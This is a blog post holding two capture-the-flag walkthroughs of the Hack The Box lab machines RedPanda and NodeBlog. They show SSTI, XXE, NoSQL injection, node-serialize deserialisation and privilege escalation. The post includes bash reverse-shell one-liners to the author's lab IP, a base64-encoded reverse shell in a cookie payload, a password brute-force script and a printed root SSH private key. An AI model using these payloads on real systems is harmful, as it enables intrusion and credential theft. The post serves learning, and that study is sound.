Hack The Box – RedPanda

Hello world and welcome to Haxez, today I will be taking on the “easy” Hack The Box Machine RedPanda. I put “easy” in quotes because attempting to beat this box was harder than a typical easy box. However, the last two I have completed have both been more difficult than I have come to expect. This box requires some web enumeration and knowledge of SSTI or Service Side Template Injection. Then it gets crazy and I will do my best to explain it when we get there. Please be advised that I couldn’t solve this without the official walkthrough and IppSec’s video. As such, the techniques you see will not be unique.

RedPanda Enumeration

First things first, let’s find out what we’re dealing with. I ran Nmap against the box targeting all ports, requesting service versions and I put the ‘-A’ flag on there to show this RedPanda that I wasn’t messing around. After a while, the scan came back and ports 22 for ssh and 8080 for HTTP were open. I’ve snipped a bunch of the output off as it wasn’t of much value.

┌─[joe@parrot]─[~]
└──╼ $sudo nmap -sC -sV -O -A 10.129.247.33
[sudo] password for joe:
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-13 10:44 GMT
Nmap scan report for 10.129.247.33
Host is up (0.034s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 48add5b83a9fbcbef7e8201ef6bfdeae (RSA)
| 256 b7896c0b20ed49b2c1867c2992741c1f (ECDSA)
|_ 256 18cd9d08a621a8b8b6f79f8d405154fb (ED25519)
8080/tcp open http-proxy
|_http-title: Red Panda Search | Made with Spring Boot
|_http-open-proxy: Proxy might be redirecting requests
| fingerprint-strings:
|_ Request</h1></body></html>
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 143/tcp)
HOP RTT ADDRESS
1 30.70 ms 10.10.14.1
2 62.13 ms 10.129.247.33
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 32.62 seconds

Panda Power

As HTTP was the only thing for us to investigate, I opened Firefox and started poking around. Sites like this remind me of the old internet. When everyone had a website just for fun and not just for commerce. This website is for photos of Red Pandas… that’s it. How cool is that, bring the old internet back. Anyway, looking around the site there didn’t appear to be much functionality.

RedPanda Application

However, there was a search functionality that I used to gather more information about the technologies in use. As you can see below, I captured the request in Burp and changed the HTTP request method from POST to GET. Consequently, this produced an error message which revealed the type of application in use. The error message reports “Whitelabel Error Page” which when googled reveals that it’s a Spring Boot error.

RedPanda Error Page

Fuzzy Panda

I used ffuf to fuzz the application to find special characters that caused the application to error. Identically to IppSec, I used the ‘SecLists/master/Fuzzing/special-chars.txt’ wordlist. As shown below, there were a number of characters that resulted in the application producing a 500 error. I’m not great at testing applications but I tend to check the response length, response time and HTTP response code for indications of a vulnerability. In order to do this, I save the request from burp and changed the value of the name parameter to FUZZ. This way ffuf can identify what needs to be fuzzed.

RedPanda Fuzzing Post
┌─[joe@parrot]─[~/RedPanda]
└──╼ $ffuf -request search.request -request-proto http -w special-chars.txt
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v1.4.1-dev
______________________________________________
:: Method : POST
:: URL : http://10.129.247.33:8080/search
:: Wordlist : FUZZ: special-chars.txt
:: Header : Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
:: Header : Referer: http://10.129.247.33:8080/
:: Header : Accept-Encoding: gzip, deflate
:: Header : Content-Type: application/x-www-form-urlencoded
:: Header : Host: 10.129.247.33:8080
:: Header : Cache-Control: max-age=0
:: Header : Upgrade-Insecure-Requests: 1
:: Header : User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.5195.102 Safari/537.36
:: Header : Origin: http://10.129.247.33:8080
:: Header : Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
:: Header : Connection: close
:: Data : name=FUZZ
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403,405,500
________________________________________________
| [Status: 200, Size: 724, Words: 156, Lines: 29, Duration: 121ms]
# [Status: 200, Size: 724, Words: 156, Lines: 29, Duration: 480ms]
; [Status: 200, Size: 724, Words: 156, Lines: 29, Duration: 499ms]
? [Status: 200, Size: 724, Words: 156, Lines: 29, Duration: 531ms]
~ [Status: 200, Size: 755, Words: 159, Lines: 29, Duration: 551ms]
. [Status: 200, Size: 724, Words: 156, Lines: 29, Duration: 552ms]
/ [Status: 200, Size: 724, Words: 156, Lines: 29, Duration: 514ms]
_ [Status: 200, Size: 755, Words: 159, Lines: 29, Duration: 580ms]
- [Status: 200, Size: 724, Words: 156, Lines: 29, Duration: 580ms]
< [Status: 200, Size: 727, Words: 156, Lines: 29, Duration: 611ms]
( [Status: 200, Size: 724, Words: 156, Lines: 29, Duration: 598ms]
& [Status: 200, Size: 1039, Words: 205, Lines: 34, Duration: 615ms]
$ [Status: 200, Size: 755, Words: 159, Lines: 29, Duration: 695ms]
> [Status: 200, Size: 727, Words: 156, Lines: 29, Duration: 698ms]
, [Status: 200, Size: 724, Words: 156, Lines: 29, Duration: 701ms]
^ [Status: 200, Size: 724, Words: 156, Lines: 29, Duration: 675ms]
: [Status: 200, Size: 724, Words: 156, Lines: 29, Duration: 705ms]
[ [Status: 200, Size: 724, Words: 156, Lines: 29, Duration: 712ms]
* [Status: 200, Size: 724, Words: 156, Lines: 29, Duration: 670ms]
' [Status: 200, Size: 728, Words: 156, Lines: 29, Duration: 713ms]
! [Status: 200, Size: 724, Words: 156, Lines: 29, Duration: 712ms]
= [Status: 200, Size: 724, Words: 156, Lines: 29, Duration: 688ms]
] [Status: 200, Size: 724, Words: 156, Lines: 29, Duration: 718ms]
" [Status: 200, Size: 729, Words: 156, Lines: 29, Duration: 719ms]
@ [Status: 200, Size: 724, Words: 156, Lines: 29, Duration: 721ms]
) [Status: 500, Size: 298, Words: 32, Lines: 1, Duration: 729ms]
` [Status: 200, Size: 724, Words: 156, Lines: 29, Duration: 733ms]
\ [Status: 500, Size: 298, Words: 32, Lines: 1, Duration: 735ms]
+ [Status: 500, Size: 298, Words: 32, Lines: 1, Duration: 759ms]
{ [Status: 500, Size: 298, Words: 32, Lines: 1, Duration: 759ms]
} [Status: 500, Size: 298, Words: 32, Lines: 1, Duration: 759ms]
Progress: [32/32]: Job [1/1]: 0 req/sec: Duration: [0:00:00]: Errors: 0

Server Side Template Injection

The majority of special characters were handled correctly. However, the backslash, plus symbol and squiggly brackets all produced a 500 error. Squiggly brackets can be used to perform Server Side Template Injection or SSTI attacks. SSTI is when the threat actor injects code into a server-side template that then gets processed by the server. For example, if you were to submit ‘{{7*7}}’ to the application and the response returned 49, you could presume that the application was susceptible to SSTI. Go to HackTricks for a better explanation.

In summary, we know that the technology being used is Spring Boot. Furthermore, we know that the application is likely vulnerable to Server Side Template Injection. Lucky for us, HackTricks have already done the work and have payloads for these exact conditions. The payload below, when executed should execute the id command on the server and return the results back in the response.

SSTI
SSTI Panda Style

RedPanda Pawhold

We have code execution via Server Side Template Injection. The next step was to leverage this to get a reverse shell. First, I created a bash script on my local host that would create a TCP connection back to my IP address on port 1337.

#!/bin/bash
bash -i >& /dev/tcp/10.10.14.126/1337 0>&1

Next, I span up a Python3 web server in the same directory as the bash script. I then visited the URL in my browser to confirm the script was accessible. I right-clicked the script and copied the URL.

┌─[joe@parrot]─[~/RedPanda]
└──╼ $python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

Then, I created a netcat listener on port 1337 so that when the script is executed on the target server, something is there to catch it when it makes the connection attempt.

┌─[joe@parrot]─[~/RedPanda]
└──╼ $sudo nc -lvnp 1337
listening on [any] 1337 ...

I then modified the payload so that it would perform a ‘wget’ to the bash script and download it.

SSTI Reverse Shell
Burp

Submitting this command to the search box or via the name parameter in Burp appeared to do the trick. However, I had to change the permissions on the file before I could execute it. You could argue that I should have just used ‘chmod +x’ instead of ‘chmod 777’ but I don’t care, not my circus, not my pandas.

More payloads
More Burp

I sent one final request to the server to politely ask it to execute my script. The application hung.

Reverse Shell

But sure enough, I got a reverse shell. This dropped us into a shell as the ‘woodenk’ user. From here I was able to grab the user flag.

┌─[joe@parrot]─[~/RedPanda]
└──╼ $sudo nc -lvnp 1337
[sudo] password for joe:
listening on [any] 1337 ...
connect to [10.10.14.126] from (UNKNOWN) [10.129.247.33] 44842
woodenk@redpanda:/tmp/hsperfdata_woodenk$ cat /home/woodenk/user.txt
cat /home/woodenk/user.txt
10a▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓caf

Things Get Really Hardcore

It was about this time that I had fallen into a false sense of security. I knew what I was doing, so far so good, this was easy. Well, things were about to take a turn. On easy Linx machines, I would normally expect to see a script that calls a binary without an absolute path. Or perhaps you have ‘sudo’ that lets you run a ‘SUID’ binary with a well-known escape. I would have even been happy with a kernel exploit. A well-known public exploits that you can find easily with tools like LinEnum or LinPEAS. NOPE!

Now that we have access to the box, we should upgrade our shell. We’re civilised human beings after all. Why wouldn’t we want the full features available to us? Using the Python stty trick I was able to upgrade my shell to a fully functional one.

woodenk@redpanda:/tmp/hsperfdata_woodenk$ python3 -c 'import pty;pty.spawn("/bin/bash")'
<enk$ python3 -c 'import pty;pty.spawn("/bin/bash")'
woodenk@redpanda:/tmp/hsperfdata_woodenk$ ^Z
[1]+ Stopped sudo nc -lvnp 1337

┌─[✗]─[joe@parrot]─[~/RedPanda]
└──╼ $stty raw -echo

┌─[joe@parrot]─[~/RedPanda]
sudo nc -lvnp 1337
woodenk@redpanda:/tmp/hsperfdata_woodenk$ stty rows 36 cols 170
woodenk@redpanda:/tmp/hsperfdata_woodenk$ export TERM=xterm

RedPanda Authenticated Enumeration

Next, I threw LinEnum and LinPEAS onto my Python web server and downloaded them to /tmp on RedPanda. I made them executable and ran them. I found nothing! Not knowing what to do next, I downloaded the official walkthrough and visited Youtube. Using the official walkthrough I was able to locate the credentials stored in the following file. It’s odd that neither of the enumeration scripts found them. They were quite obviously credentials.

woodenk@redpanda:/opt/panda_search/src/main/java/com/panda_search/htb/panda_search$ cat MainController.java

The credentials in that file were for the user ‘woodenk’ and provided SSH access to the box. However, it probably isn’t a good idea to SSH to the box. The reason why is that the application process that we hacked to get our reverse shell is a member of the logs group. The user ‘woodenk’ is not a member of the logs group. We will need this group’s permission to perform our privilege escalation (I think) and logging in via SSH will remove it from us. So while we’re logged in as ‘woodenk’ and shouldn’t be in the logs group, the process that we hacked is and thus we are in the logs group. I have no idea how that works.

Finding Files

By this point, I was lost completely and just following along with IppSec’s video. I will try to keep things short and sweet but if you want a detailed explanation of the privilege escalation, go watch his video. We start by looking for files that belong to the logs group. The output below shows that the file’s user owner is root but the group owner is logs. This is interesting.

woodenk@redpanda:find / -group logs 2>/dev/null
/opt/panda_search/redpanda.log
woodenk@redpanda:/opt/panda_search$ ls -laSh
total 48K
-rwxrwxr-x 1 root root 9.9K Jun 14 2022 mvnw
-rw-rw-r-- 1 root root 6.5K Feb 21 2022 mvnw.cmd
drwxrwxr-x 5 root root 4.0K Jun 14 2022 .
drwxr-xr-x 5 root root 4.0K Jun 23 2022 ..
drwxrwxr-x 3 root root 4.0K Jun 14 2022 .mvn
drwxrwxr-x 4 root root 4.0K Jun 14 2022 src
drwxrwxr-x 9 root root 4.0K Jun 22 2022 target
-rw-rw-r-- 1 root root 2.6K Apr 27 2022 pom.xml
-rw-rw-r-- 1 root logs 1 Mar 13 12:18 redpanda.log

So next we search for references to this log file in other locations on the system. There is likely to be a binary or script somewhere doing something with this log file. As you can see from the output below, there are two java applications that mention the redpanda.log file. One in the log parser app and one in panda_search app. I don’t know much about Java so a lot of this is new to me.

woodenk@redpanda:/opt/panda_search$ grep -R redpanda.log /
Binary file /opt/panda_search/target/classes/com/panda_search/htb/panda_search/RequestInterceptor.class matches
/opt/panda_search/src/main/java/com/panda_search/htb/panda_search/RequestInterceptor.java: FileWriter fw = new FileWriter("/opt/panda_search/redpanda.log", true);
Binary file /opt/credit-score/LogParser/final/target/classes/com/logparser/App.class matches
/opt/credit-score/LogParser/final/src/main/java/com/logparser/App.java: File log_fd = new File("/opt/panda_search/redpanda.log");

RedPanda Privilege Escalation

I haven’t included the code and I’m not going to try and explain it. After watching IppSec’s video I somewhat understand what’s going on but I couldn’t tell you which part of the binary does what. However, from what I understand these two binaries do a number of things. They read the redpanda.log file and if they see a request for an image, they process that image and then write the metadata author attribute to an XML file. So, if we create an image and modify the metadata to perform a file traversal to an XML file of our own creation, we can then use XML Entity Injection to execute code and retrieve files that we’re not supposed to.

Capturing A Panda

First, we need to capture a panda. Once we have this panda, we can modify its metadata using exiftool and give it a different author attribute. The snippet below shows that I have changed the author attribute to ‘../dev/shm/haxez’. So now, when it attempts to write to the XML file it will first perform a path traversal up out of the ‘/credits’ directory (where the XML is usually stored) and into ‘/dev/shm’ where our haxez XML file is stored. We caught this panda in the ‘img’ directory but when releasing it back to the wild we won’t have permission to put him back there. Probably best to drop him off in the /dev/shm directory and let him make his own way back.

Our RedPanda
┌─[joe@parrot]─[~/RedPanda]
└──╼ $exiftool -Artist=../dev/shm/haxez greg.jpg
Warning: [minor] Ignored empty rdf:Bag list for Iptc4xmpExt:LocationCreated - greg.jpg
1 image files updated
┌─[joe@parrot]─[~/RedPanda]
└──╼ $exiftool greg.jpg
ExifTool Version Number : 12.16
File Name : greg.jpg
Directory : .
File Size : 100 KiB
File Modification Date/Time : 2023:03:13 13:08:39+00:00
File Access Date/Time : 2023:03:13 13:08:39+00:00
File Inode Change Date/Time : 2023:03:13 13:08:39+00:00
File Permissions : rw-r--r--
File Type : JPEG
File Type Extension : jpg
MIME Type : image/jpeg
Exif Byte Order : Big-endian (Motorola, MM)
Orientation : Horizontal (normal)
Artist : ../dev/shm/haxez

XML Entity Injection Attack

So when the cronjob runs, it will see the Artist value in the image and traverse directories from credits up a directory to /credits/../dev/shm/haxez_creds.xml and look for a haxez_creds.xml file. Then in that file, we perform an XML Entity Injection attack to steal the root user’s private key. This is not easy! Why is this machine marked as easy?! Let’s steal an XML template from the /credits directory and modify it with our payload. An example of this can be found on HackTricks. As you can see from the snippet below, we specify the root user’s private key in the entity entry. Then, further down we specify the location where we want the contents of that file to be written to (I think).

XXE

Triggering The Exploit

In order for the exploit to be triggered, we need to put something in the redpanda.log file. This is why we need the logs group permission. The snippet below shows me echoing a fake request to the image we created. It includes a traversal to our /dev/shm directory where are panda was released back into the wild. Then when the corn job runs, it finds the image, reads the metadata, executes the XML entity injection and saves the root user’s private key in our XML file.

woodenk@redpanda:/opt/panda_search$ echo '200||10.10.14.126||Mozilla/5.0 (Windows NT 10.0; rv78.0) Gecko/20100101 Firefox/78.0||/../../../../../../../../dev/shm/haxez.jpg' > redpanda.log

woodenk@redpanda:/opt/panda_search$ cat redpanda.log
200||10.10.14.126||Mozilla/5.0 (Windows NT 10.0; rv78.0) Gecko/20100101 Firefox/78.0||/../../../../../../../../dev/shm/haxez.jpg

Got root?

After twiddling our thumbs for a bit, and waiting for the cronjob to execute we can cat the XML file. As you can see from the snippet below it now contains the root user’s private key. We can then save this key locally, give it 600 permissions and use it to SSH to the server as the root user and capture the root flag.

woodenk@redpanda:/opt/panda_search$ cat /dev/shm/haxez_creds.xml 
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo>
<credits>
<author>haxez</author>
<image>
<uri>/../../../../../../../../dev/shm/haxez.jpg</uri>
<views>1</views>
<data>-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
QyNTUxOQAAACDeUNPNcNZoi+AcjZMtNbccSUcDUZ0OtGk+eas+bFezfQAAAJBRbb26UW29
ugAAAAtzc2gtZWQyNTUxOQAAACDeUNPNcNZoi+AcjZMtNbccSUcDUZ0OtGk+eas+bFezfQ
AAAECj9KoL1KnAlvQDz93ztNrROky2arZpP8t8UgdfLI0HvN5Q081w1miL4ByNky01txxJ
RwNRnQ60aT55qz5sV7N9AAAADXJvb3RAcmVkcGFuZGE=
-----END OPENSSH PRIVATE KEY-----</data>
</image>
<totalviews>1</totalviews>
</credits>

And ssh to capture the flag.

┌─[joe@parrot]─[~/RedPanda]
└──╼ $ssh -i key [email protected]
Welcome to Ubuntu 20.04.4 LTS (GNU/Linux 5.4.0-121-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Mon 13 Mar 2023 01:25:21 PM UTC
System load: 0.02
Usage of /: 81.0% of 4.30GB
Memory usage: 50%
Swap usage: 0%
Processes: 225
Users logged in: 1
IPv4 address for eth0: 10.129.247.33
IPv6 address for eth0: dead:beef::250:56ff:fe96:bf03
0 updates can be applied immediately.
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings

Last login: Thu Jun 30 13:17:41 2022

root@redpanda:~# cat /root/root.txt
e8a▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ff4

RedPanda Review

I definitely don’t agree with the easy categorisation of this box. This box was at least a medium-difficulty box. The reason I say that is because most of the easy boxes I have done (about 45 at the time of writing) make it easier to understand what needs to be done. Normally the privilege escalation will be staring you in the face but you need to work out how to trigger it. Whether it’s due to my lack of knowledge of Java or something else I’m missing, I had no clue what I was expected to do here. Anyway I wont rant anymore. Glad this one is over.

Hack The Box – NodeBlog

NodeBlog is a retired easy Linux machine created by IppSec on Hack The Box. I’m looking forward to conquering this beast. Hello world, welcome to haxez. I haven’t done much with Node JS and NoSQL so this is going to be a learning experience for me. As a result, this write-up is probably going to follow the exact methodology used by IppSec in his walkthrough video.

NodeBlog Enumeration

In the world of hacking the one with the most information is the king or something like that. The more information we have about the target box, the better. First, I ran a ping against the box and it responded so I performed a Nmap scan. As you can see from the results below we have port 22 for SSH and port 5000 for HTTP which is interesting. We can also see that it is using Node.js Express.

┌──(kali㉿kali)-[~/NodeBlog]
└─$ sudo nmap -sC -sV -p- -A 10.129.239.132 -oA nodeblog
[sudo] password for kali:
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-23 08:13 GMT
Nmap scan report for 10.129.239.132
Host is up (0.013s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 ea8421a3224a7df9b525517983a4f5f2 (RSA)
| 256 b8399ef488beaa01732d10fb447f8461 (ECDSA)
|_ 256 2221e9f485908745161f733641ee3b32 (ED25519)
5000/tcp open http Node.js (Express middleware)
|_http-title: Blog
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:

Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 8888/tcp)
HOP RTT ADDRESS
1 12.75 ms 10.10.14.1
2 13.06 ms 10.129.239.132
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 40.32 seconds

Username Enumeration

Since SSH is unlikely our method of gaining a foothold, we should go and take a look at the web application on port 5000. The NodeBlog blog has a single post about the UHC qualifiers and some links to external resources like Twitter and Discord.

NodeBlog application

We do have a login page though, navigating to it and submitting admin for the username and admin for the password tells us we have an incorrect password. Interesting, surely that should have ‘invalid credentials’ instead.

Nodeblog login portal

Testing this further, we can confirm that we do in fact have username enumeration. By submitting an incorrect username we get an error message informing us that the username is invalid. This is definitely username enumeration and we could exploit this by running Burp Intruder against it with a payload of usernames.

Login page

The MEAN Stack

I’m 5 minutes into the video and am already learning stuff. IppSec pointed out that because this application is using Node JS, it is unlikely to be using MySQL. MySQL is commonly found in the LAMP stack (Linux, Apache, PHP, MySQL). As a result, it is unlikely vulnerable to SQL injection attacks that target MySQL databases.

The MEAN stack is a popular web development technology stack that includes four open-source components. MongoDB, A NoSQL database that stores data in a JSON-like format. Express.js, A server-side JavaScript framework that provides a set of tools and features for building web applications. Angular, A client-side JavaScript framework that allows developers to create dynamic and interactive user interfaces. Node.js, A server-side JavaScript runtime that allows developers to build scalable and fast web applications.

Together, these four technologies form the MEAN stack, which provides a full-stack JavaScript development environment. MEAN stack is a popular choice for web developers who prefer to use a single language (JavaScript) for both client-side and server-side development, as well as for building real-time web applications.

Honestly, I feel like an idiot for not knowing this and now that I know this. It has been a massive missing piece to the puzzle of web application security assessments. I can’t wait to learn more.

Attack The MEAN Stack

I’m tempted to quit penetration testing and become a full-stack MEAN developer. That way, when someone asks what I do for a living I can say “I make mean applications bro!”. Anyway, As can be seen below, the POST request sent to the login page looks typical of any other login POST request. According to IppSec (because I didn’t know this) we can change the content type to make it easier to attack.

Attack The MEAN Stack

The image below shows the modified post request where the content type has been changed to ‘application/json’ and the body of the request has been formatted accordingly. Things are starting to make much more sense to me now. No training or exam has explained this to me before, it’s always been about attacking LAMP applications. As you can see, two things have changed. The content type and the structure of the body. However, the request is still processed correctly. Amazing.

Login with JSON

What we can also do is send it a malformed request and get it to return information about the file structure. As shown below, by adding another speech mark to “user” we can return the structure of the application. This will come in handy later. This is also a really good technique to know.

Syntax error directory listing

NodeBlog NoSQL/Mongo Injection

The snippet of code below looks alien to me, that isn’t SQL injection. That’s some crazy alien wizard language. Ok, no it isn’t but it is very different to the SQL injection attacks I’ve seen before. This is a whole new can of worms for me and I can’t wait to learn more. I’ve tried to indent the syntax properly but the code block on here isn’t great. Anyway, by sending the following POST request to the application, we get logged in. This is called type confusion.

{
"user" : "admin" ,
"password" : {
"$ne":"test"
}
}
Nodeblog nosql

Crafting Dark Arts Magic Spells

Unfortunately, I’m still learning parseltongue and It is at this part in the video where IppSec starts crafting a new magic spell in the form of a Python brute-forcing script. I don’t know yet whether this is required for completing the box as we’ve already logged in. However, if it is required then I already know that I wouldn’t have been able to complete this box. I call myself a Slytherin yet I can’t speak parseltongue, I’m such a failure. I’ve recreated the script exactly how he made so all credit is to IppSec. Please go watch his video for a full explanation.

import requests
import json
import string
import sys

def login(pw):
payload = '{ "$regex": "%s" }' % pw
data = { "user":"admin", "password": json.loads(payload)}
r = requests.post("http://10.129.239.132:5000/login", json=data)
if "Invalid Password" in r.text:
return False

return True

password = '^'
stop = False
while stop == False:
for i in string.ascii_letters:
sys.stdout.write(f"\r{password}{i}")
if login (f"{password}{i}"):
password += i
if login(f"{password}$"):
sys.stdout.write(f"\r{password}\r\n")
sys.stdout.flush()
stop = True
break

Running the script successfully brute forces the password using the MongoDB injection.

┌──(kali㉿kali)-[~]
└─$ sudo python3 py.py
^IppsecSaysPleaseSubscribe

We can now log in as the admin user with that password. As you can see below, we now have access to a few more features. We can edit and delete posts and we also have an upload feature. It is now becoming apparent just how important it is to identify the technologies in use before attacking a web application. Burp is great but if you’re just performing scans against the application, you probably won’t find much.

Blog articles

Identifying NodeBlog XML Entity Injection

Having an upload feature creates an attack vector if the upload feature doesn’t properly validate things. It could allow you to upload web shells to the server resulting in console access. After attempting to upload a generic text file we get an error explaining that it is an invalid XML file. We now know that the application only accepts XML.

XXE

If we head back to Burp and look at the response from the NodeBlog, it gives us the exact template that it wants us to use. I presume that this was coded to help the user and isn’t a generic error message. However, it makes sense for developers to do this in order to help their users understand the format.

Nodeblog xxe
<post><title>Example Post</title><description>Example Description</description><markdown>Example Markdown</markdown></post>

If we grab the template above and paste it to our own XML file and upload it, the application will then start creating the blog for us with the data provided. Now that we know the format we need to use, let’s head on over to PayloadAllTheThings and find an XML entity injection payload and try to upload it. The payload below injects “Haxez was here!” into the ‘example’ entity.

<!--?xml version="1.0" ?--><!DOCTYPE replace [<!ENTITY example "Haxez was here!"> ]><post><title>Example Post</title><description>&example;
</description><markdown>Example Markdown</markdown></post>
XXE

Exploiting NodeBlog XML Entity Injection

I thought I was starting to properly understand XML entity injection but then the following payload twisted my brain a bit. I thought that the entity was defined by the server but it seems that we can just make up our own entities. Initially, we were using the ‘example’ entity which I thought the server provided, but now we’re using the ‘test’ entity which the server definitely didn’t provide.

So what did we actually do in the previous example? it seems like we just added text to an input box. I’m sure it’s because of the method that we used to do that which makes it vulnerable. I need to study this area more. Anyway, the payload below injects the ‘/etc/passwd’ file into the description because of magic I guess.

Unfortunatly, Medium doesn’t like the code even when inside the code block so an image will have to do.

XXE
XXE Directory Listing

So what can we do now that we have XXE? remember earlier when we sent a malformed packet which revealed the directories of the application? Well, now we can use that information to retrieve the contents of the application files. The payload below retrieves the file ‘server.js’. However, this file could have other names too such as ‘app.js’ and ‘main.js’. The important part is we know the file path. We can play guess who with the filename.

NodeBlog hack

Exploiting Node-Serialize

We can see from the list of imported modules (is ‘imported’ the right term?) that the application is using the ‘node-serialize’ module. Version 0.0.4 of the ‘node-serialize’ module has a “bug” in the ‘unserialize’ function that allows for remote code execution. The snippet below shows that the ‘unserialize’ function is being used to ‘serialize’ the cookie. With this knowledge, we should be able to create a payload and trigger it through our cookie.

--snip--
const serialize = require('node-serialize')
--snip--
--snip--
function authenticated(c) {
if (typeof c == 'undefined')
return false

c = serialize.unserialize(c)

if (c.sign == (crypto.createHash('md5').update(cookie_secret + c.user).digest('hex')) ){
return true
} else {
return false
}
}
--snip--

First, capture an authenticated ‘GET’ request to the root page and send it to the repeater. Next, URL decode the cookie by highlighting it and pressing ‘CTRL, SHIFT + U’. This will allow us to modify it so that we can perform our remote code execution. Using the information found on this site >>HERE<< we can craft a payload to check this vulnerability. The payload below will send 4 ping requests to my host.

Cookie: auth={"user":"admin","sign":"23e112072945418601deb47d9a6c7de8","haxez":"_$$ND_FUNC$$_function (){require(\"child_process\").exec(\"ping -c 4 10.10.14.126\", function(error, stdout, stderr) { console.log(stdout) });}()"}

We can then set up ‘tcpdump’ to listen on tun0 for ICMP packets. We need to URL encode our payload before we send it by highlighting the cookie value and selecting URL encode all characters. Then we can click send and we start getting ICMP packets hitting our host.

Exploit
┌──(kali㉿kali)-[~]
└─$ sudo tcpdump -ni tun0 icmp
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
11:37:47.840352 IP 10.129.239.132 > 10.10.14.126: ICMP echo request, id 1, seq 60, length 64
11:37:47.840382 IP 10.10.14.126 > 10.129.239.132: ICMP echo reply, id 1, seq 60, length 64
11:37:48.841281 IP 10.129.239.132 > 10.10.14.126: ICMP echo request, id 1, seq 61, length 64
11:37:48.841323 IP 10.10.14.126 > 10.129.239.132: ICMP echo reply, id 1, seq 61, length 64
11:37:49.843018 IP 10.129.239.132 > 10.10.14.126: ICMP echo request, id 1, seq 62, length 64
11:37:49.843041 IP 10.10.14.126 > 10.129.239.132: ICMP echo reply, id 1, seq 62, length 64
11:37:50.845548 IP 10.129.239.132 > 10.10.14.126: ICMP echo request, id 1, seq 63, length 64
11:37:50.845575 IP 10.10.14.126 > 10.129.239.132: ICMP echo reply, id 1, seq 63, length 64

NodeBlog Foothold

We now have a proof of concept for code execution so let’s use it to get a reverse shell. First, we need our reverse shell but since we’re going to send it as a request, we should play it safe and encode it with base64.

┌──(kali㉿kali)-[~]
└─$ echo -n 'bash -i  >& /dev/tcp/10.10.14.126/9001 0>&1' | base64
YmFzaCAtaSAgPiYgL2Rldi90Y3AvMTAuMTAuMTQuMTI2LzkwMDEgMD4mMQ==

However, we want the target to decode the base64 and send it to bash. The payload should look like the payload below.

echo -n YmFzaCAtaSAgPiYgL2Rldi90Y3AvMTAuMTAuMTQuMTI2LzkwMDEgMD4mMQ== | base64 -d | bash

The final payload should look like the payload below. However, you will need to URL encode all the characters. Don’t forget to start your netcat listener before sending the request.

Cookie: auth={"user":"admin","sign":"23e112072945418601deb47d9a6c7de8","haxez":"_$$ND_FUNC$$_function (){require(\"child_process\").exec(\"echo -n YmFzaCAtaSAgPiYgL2Rldi90Y3AvMTAuMTAuMTQuMTI2LzkwMDEgMD4mMQ== | base64 -d | bash\", function(error, stdout, stderr) { console.log(stdout) });}()"}
Burp Suite

We now have our foothold.

┌──(kali㉿kali)-[~]
└─$ sudo nc -lvnp 9001
listening on [any] 9001 ...
connect to [10.10.14.126] from (UNKNOWN) [10.129.239.132] 43210
bash: cannot set terminal process group (858): Inappropriate ioctl for device
bash: no job control in this shell
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.

bash: /home/admin/.bashrc: Permission denied
admin@nodeblog:/opt/blog$

I am getting some odd error messages about not being able to access the .bashrc file though. Maybe I have messed up the payload. I hope that upgrading our shell will fix it so let’s do that first.

admin@nodeblog:/opt/blog$ python3 -c 'import pty;pty.spawn("/bin/bash")'
python3 -c 'import pty;pty.spawn("/bin/bash")'
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.

bash: /home/admin/.bashrc: Permission denied
admin@nodeblog:/opt/blog$ ^Z
zsh: suspended sudo nc -lvnp 9001

┌──(kali㉿kali)-[~]
└─$ stty raw -echo; fg
[1] + continued sudo nc -lvnp 9001
admin@nodeblog:/opt/blog$

NodeBlog Privilege Escalation

We already have the password for this user as we were able to brute-force it with Python. However, if we didn’t have it we could have pillaged it another way. You can run ‘mongodump’ from ‘/dev/shm’ and it will dump the mongo database.

root@nodeblog:/dev/shm# mongodump
mongodump
